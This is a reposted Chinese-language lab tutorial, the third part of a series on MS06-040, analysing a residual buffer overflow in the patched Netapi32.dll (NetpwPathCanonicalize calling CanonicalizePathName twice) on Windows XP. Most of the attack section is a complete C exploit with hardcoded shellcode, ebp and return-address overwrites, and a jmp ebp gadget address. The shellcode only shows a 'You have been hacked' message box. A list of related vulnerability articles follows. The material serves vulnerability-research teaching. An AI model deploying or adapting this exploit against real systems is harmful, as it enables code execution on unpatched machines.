课程简介

经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的。即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题。
课程介绍
  • 实验环境:
  • 操作机: Windows XP
  • 实验工具:
Tools
Path
IDA Pro
C:\Tools\Ida61
OllyICE
C:\Tools\OllyICE
  • 实验文件:
  • poc(framework)
编写代码,并将ShellCode植入,实现漏洞的利用。
实验步骤
第一步 下载实验文件
请访问http://tools.ichunqiu.com/896b2dcb下载实验文件。
小i提示:
  • 在本次实验中,请注意实验工具、实验文件存放路径,不同的文件路径可能会出现不一样的实
验结果。
  • 在实验环境中无法连接互联网,请使用您本地的网络环境。
快速查找实验工具
  • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工
具所在位置。
  • 以查找BURP为例为大家演示。
第二步 对漏洞函数进行静态分析
我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节。我
们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位置进行分析:
补丁前的程序之所以会出现问题,就是因为程序并未对第二个参数的长度做出足够的限定。补
丁前的程序在以宽字符的形式计算出第二个参数的长度之后,是与0x411进行比较的,也就是说,
只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中,如上图所示,在位于
0x71BA42BC中的比较语句,是将第二个参数(Source)与0x207相比较,也就是说,此时第二个
参数的大小不能够超过0x414个字节,而栈空间分配的就是0x414个字节,因此不会出现溢出的
情况。所以如果想实现漏洞的利用,还需要进一步深入挖掘才可以。对此,我们可以从这个函数
最开始的部分进行分析:
程序在分配了0x414字节的空间之后,利用异或运算将esi中的内容清空,然后将[ebp
+arg_0]与esi也就是0进行比较,其实这也就是在判定,指向第一个字符串的指针是否为空。如果
为空,那么接下来的条件跳转不成立,程序就会来到0x71BA42AE的位置执行。如果指向第一个字
符串的指针不为空,但是指向的却是空的字符串,见下图:
这里对第一个字符串的长度进行测定,如果字符串内容为空,也就是长度为0,那么接下来的跳转
成立,程序会直接来到0x71BA42B5的位置执行:
程序在这里会将未初始化的缓冲区以及第二个参数(Source)利用wcscat函数进行连接。其实
这是一个非常不安全的操作,因为尚未初始化的栈空间的长度是未知的,甚至可能超过起初分配
的0x414个字节,然后再与参数二进行连接,就会有缓冲区溢出的隐患。 这里有一个问题需要说明的是,为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题
,而第二个参数复制进缓冲区就会有隐患呢?这是因为第一个参数字符串使用的是“wcscpy”
进行拷贝的,它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat,它会
检查缓冲区中的“\0”也就是字符串的尾部位置,然后将新的字符串拷贝到“\0”的位置,最后
再加上“\0”作为结尾。 那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次
CanonicalizePathName()函数。当第一次调用该函数时,缓冲区第一次被填充并进行字符串连
接的操作,当第一次调用结束的时候,恢复栈帧,释放缓冲区空间,此时只要不做任何的`栈空间
操作`(比如函数调用),那么原始缓冲区中的内容是不会改变的。而第二次调用时,还会继续对
这块缓冲区进行操作,那么此时就会还保留有第一次调用时的数据,于是就存在着溢出的风险
。 函数CanonicalizePathName()是不能够被直接调用的,因为它是NetpwPathCanonicalize()的子
函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式:
由上图可见,当CanonicalizePathName()调用完毕后,程序会对其返回值(保存在eax中)进
行判断,也就是与edi相比较,而edi在这里是恒为0的,那么这里也就是在验证其返回值是否为
0。如果不为0,那么就会跳到0x71BA4284处执行,也就是函数退出的位置。如果为0,那么接下
来还会有其它的函数调用。刚才说了,只要没有其它的函数调用,那么缓冲区的内容就不会被更
改,也就是说,我们这里希望CanonicalizePathName()的返回值不为0,让程序接下来直接退
出,以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢,我们可以看一下该函数
最后一部分的反汇编代码:
在上图中,位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度,注意这个长度是
Unicode的,因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节,这
里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句,将字节长度与arg_C相比较
。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区
空间大,那么就会执行左边的流程,进行字符串的拷贝操作,并将eax置零后返回。如果缓冲区
的空间小,那么执行右边的流程,于是eax的值就不为0了。依据这一点,我们在第一次调用的时
候,可以将缓冲区空间的大小,也就是arg_C的值设置小一点,就能够让它返回非零值了。
第三步 漏洞利用程序的编写
依据上面的分析,就可以进行漏洞利用程序框架的编写:
#include <windows.h>
 
typedef void (*MYPROC)(LPTSTR,...);
 
#define StrCat_SIZE_1 0x184
#define StrCat_SIZE_2 0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE 0x410
 
int main()
{
char Source_1[StrCat_SIZE_1];
char Source_2[StrCat_SIZE_2];
char lpWideCharStr[lpWideCharStr_SIZE];
int arg_8 = lpWideCharStr_SIZE;
char arg_C_1[StrCpy_SIZE];
char arg_C_2[StrCpy_SIZE];
long arg_10_1 = 44;
long arg_10_2 = 44;
 
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll";
char FuncName[] = "NetpwPathCanonicalize";
// 将当前目录中的netapi32.dll载入内存
LibHandle = LoadLibrary(DllName);
if (LibHandle == 0)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
return 0;
}
// 获取NetpwPathCanonicalize()函数的地址
Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
if(Func == 0)
{
MessageBox(0, "Can't Load Function!", "Warning", 0);
FreeLibrary(LibHandle);
return 0;
}
// 用字符a填充第一次函数调用时,wcscat连接的内容
memset(Source_1, 0, sizeof(Source_1));
memset(Source_1, 'a', sizeof(Source_1)-2);
// 用字符b填充第二次函数调用时,wcscat连接的内容
memset(Source_2, 0, sizeof(Source_2));
memset(Source_2, 'b', sizeof(Source_2)-2);
// 用0填充两次函数调用中,wcscpy复制的内容
memset(arg_C_1, 0, sizeof(arg_C_1));
memset(arg_C_2, 0, sizeof(arg_C_2));
// 连续调用两次NetpwPathCanonicalize()函数
(Func)(Source_1, lpWideCharStr, 1 , arg_C_1, &arg_10_1, 0);
(Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
 
FreeLibrary(LibHandle);
return 0;
}
需要将netapi32.dll与上述工程文件放置在同一目录,编译生成Release版,运行,系统会提
示出错:
可见这里出现了缓冲区溢出的错误,溢出地址为0x62626262,也就是小写字母“b”。那么我
们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时,ecx
不会指向栈顶空间,因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为`
栈顶地址`,然后将返回地址覆盖为jmp ebp,再将ShellCode植入栈顶,从而实现漏洞的利用:
#include <windows.h>
 
typedef void (*MYPROC)(LPTSTR,...);
 
#define StrCat_SIZE_1 0x184
#define StrCat_SIZE_2 0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE 0x410
 
char ShellCode[] =
"\x90\x90\x90"
"\x33\xDB" // xor ebx,ebx
"\xB7\x06"
 
// mov bh,6
"\x2B\xE3"
 
// sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E" // push "Warning"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20" // push "You have been
 
hacked!(by J.Y.)"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0" ; // call ExitProcess
 
int main()
{
char Source_1[StrCat_SIZE_1];
char Source_2[StrCat_SIZE_2];
char lpWideCharStr[lpWideCharStr_SIZE];
int arg_8 = lpWideCharStr_SIZE;
char arg_C_1[StrCpy_SIZE];
char arg_C_2[StrCpy_SIZE];
long arg_10_1 = 44;
long arg_10_2 = 44;
 
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll";
char FuncName[] = "NetpwPathCanonicalize";
// 将当前目录中的netapi32.dll载入内存
LibHandle = LoadLibrary(DllName);
if (LibHandle == 0)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
return 0;
}
// 获取NetpwPathCanonicalize()函数的地址
Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
if(Func == 0)
{
MessageBox(0, "Can't Load Function!", "Warning", 0);
FreeLibrary(LibHandle);
return 0;
}
// 用字符a填充第一次函数调用时,wcscat连接的内容
memset(Source_1, 0, sizeof(Source_1));
memset(Source_1, 'a', sizeof(Source_1)-2);
// 将ShellCode拷贝到缓冲区中
memcpy(Source_1, ShellCode, sizeof(ShellCode));
// 将ShellCode后面的0x00填充为0x90
Source_1[sizeof(ShellCode)-1] = 0x90;
// 用字符b填充第二次函数调用时,wcscat连接的内容
memset(Source_2, 0, sizeof(Source_2));
memset(Source_2, 'b', sizeof(Source_2)-2);
// 将ebp覆盖为栈顶地址
Source_2[0x2AA] = 0x44;
Source_2[0x2AB] = 0xea;
Source_2[0x2AC] = 0x12;
Source_2[0x2AD] = 0x00;
// 将返回地址覆盖为jmp ebp
Source_2[0x2AE] = 0x98;
Source_2[0x2AF] = 0xd4;
Source_2[0x2B0] = 0xbb;
Source_2[0x2B1] = 0x71;
// 用0填充两次函数调用中,wcscpy复制的内容
memset(arg_C_1, 0, sizeof(arg_C_1));
memset(arg_C_2, 0, sizeof(arg_C_2));
// 连续调用两次NetpwPathCanonicalize()函数
(Func)(Source_1, lpWideCharStr, 1 , arg_C_1, &arg_10_1, 0);
(Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
 
FreeLibrary(LibHandle);
return 0;
}
当然我相信大家经过自己的研究,会有更加优秀的漏洞利用方式,也希望我的代码能够起到抛砖
引玉的效果。
第四步 小结
至此,我已经利用了三次课程的篇幅比较全面地分析了MS06-040这个漏洞,也希望大家能够以此
为起点,多多尝试与交流,成为漏洞挖掘方面的专家。
 

MS06-040漏洞研究(下)【转载】的更多相关文章

  1. Winamp栈溢出漏洞研究【转载】

    课程简介 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会 ...

  2. fastjson反序列化漏洞研究(下)

    之前的文章显示字符太多 拒绝显示  只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...

  3. MS17-010 漏洞研究——免考课题 20155104 赵文昊

    免考实验与研究--MS17-010漏洞研究 研究内容 ·MS17-010漏洞的来源 ·MS17-010漏洞的攻击实例 ·MS17-010漏洞原理分析 ·MS17-010代码分析 写在前面:这次对一个漏 ...

  4. 学习和研究下unity3d的四元数 Quaternion

    学习和研究下unity3d的四元数 Quaternion 今天准备学习和研究下unity3d的四元数 Quaternion 四元数在电脑图形学中用于表示物体的旋转,在unity中由x,y,z,w 表示 ...

  5. k.tt 研究下生成的逻辑代码:从壹开始前后端分离 [.netCore 填坑 ] 三十二║ 四种方法快速实现项目的半自动化搭建

    更新 1.更新小伙伴 @大龄Giser 提出好点子:试试VS的插件扩展:VSIX.ItemProject等,将T4模板给制作插件,这里先记下,有懂的小伙伴可以自己先试试,我会在以后更新. 2.感谢小伙 ...

  6. 研究下JavaScript中的Rest參数和參数默认值

    研究下JavaScript中的Rest參数和參数默认值 本文将讨论使 JavaScript 函数更有表现力的两个特性:Rest 參数和參数默认值. Rest 參数 通常,我们须要创建一个可变參数的函数 ...

  7. MS06-040漏洞研究(上)【转载】

    课程简介 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情 ...

  8. MS06-040漏洞研究(中)【转载】

    课程简介 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 课程介绍 实验环境: 操作机: Windows XP 实验工具: Tools Path ID ...

  9. Fastjson反序列化漏洞研究

    0x01 Brief Description java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个 ...

随机推荐

  1. Typora学习

    Markdown学习总结 标题的使用格式 # 一阶标题 或者 ctrl + 1 ## 二阶标题 或者 ctrl + 2 ### 三阶标题 或者 ctrl + 3 #### 四阶标题 或者 ctrl + ...

  2. List调用toString()方法后,去除两头的中括号

    import org.apache.commons.lang.StringUtils; public class Test {    public static void main(String[] ...

  3. Beego框架学习---layout的使用

    Beego框架学习---layout的使用 在管理系统中,管理菜单的界面是固定的,会变化的只是中间的部分.我就在想,是不是跟angular的"组件模块的router-outlet一样&quo ...

  4. JVM笔记 -- 来,教你类加载子系统

    类加载子系统 类文件首先需要经过类加载子系统,进行加载,进类信息等加载到运行时数据区,生成Klass的实例. 在类加载子系统中有以下3个阶段操作(广义上的加载): 加载阶段 Bootstrap Cla ...

  5. 记录Java注解在JavaWeb中的一个应用实例

    概述 在学习注解的时候,学了个懵懵懂懂.学了JavaWeb之后,在做Demo项目的过程中,借助注解和反射实现了对页面按钮的权限控制,对于注解才算咂摸出了点味儿来. 需求 以"角色列表&quo ...

  6. ch1_5_2求无序序列中第k小的元素

    import java.util.Arrays; import java.util.PriorityQueue; public class ch1_5_2求无序序列中第k小的元素 { public s ...

  7. P1149_火柴棒等式(JAVA语言)

    题目描述 给你n根火柴棍,你可以拼出多少个形如"A+B=C"的等式?等式中的A.B.C是用火柴棍拼出的整数(若该数非零,则最高位不能是0).用火柴棍拼数字0-90−9的拼法如图所示 ...

  8. pycharm在debug时总是报UnicodeDecodeError

    1,原文链接 解决pycharm run 正常 debug 报 UnicodeDecodeError 错误的问题 2,解决方法 首先尝试 如果上面还不行

  9. Oment++ 初学者教程 第4节-将其转变为真实网络

    4.1两个以上的节点 现在,我们将迈出一大步:创建几个tic模块并将它们连接到网络中.现在,我们将使它们的工作变得简单:一个节点生成一条消息,其他节点继续沿随机方向扔消息,直到它到达预定的目标节点为止 ...

  10. 【RocketMQ源码分析】深入消息存储(2)

    前文回顾 CommitLog篇 --[RocketMQ源码分析]深入消息存储(1) MappedFile篇 --[RocketMQ源码分析]深入消息存储(3) 前文说完了一条消息如何被持久化到本地磁盘 ...